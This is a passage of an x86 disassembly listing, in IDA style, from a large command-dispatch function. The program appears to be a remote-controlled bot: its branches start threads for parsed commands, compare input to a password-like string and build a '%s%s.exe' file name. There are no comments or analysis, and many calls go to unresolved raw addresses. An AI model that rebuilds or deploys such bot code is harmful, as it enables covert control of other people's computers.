		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA14
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A910
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C92C
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42AA00
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410DAB
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42A890
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A864
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42A824
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7E8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset byte_41561D
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset unk_42A7B0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A780
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414358
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset unk_42A748
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A718
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_4135DF
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42A6E0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset dword_42A674
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A648
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset byte_413A29
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset unk_42A610
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5D8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 26B09DCh
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B4
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A578
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset dword_417054
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42A53C


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 26709E4h
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A518
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A4FC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aSaadfgh	; "saadfgh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		nop
		call	near ptr 26B0000h
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset dword_42A488
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A440


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 2680EF8h
		nop


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A41C
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A404
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A39C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset byte_414F57
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42A360
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
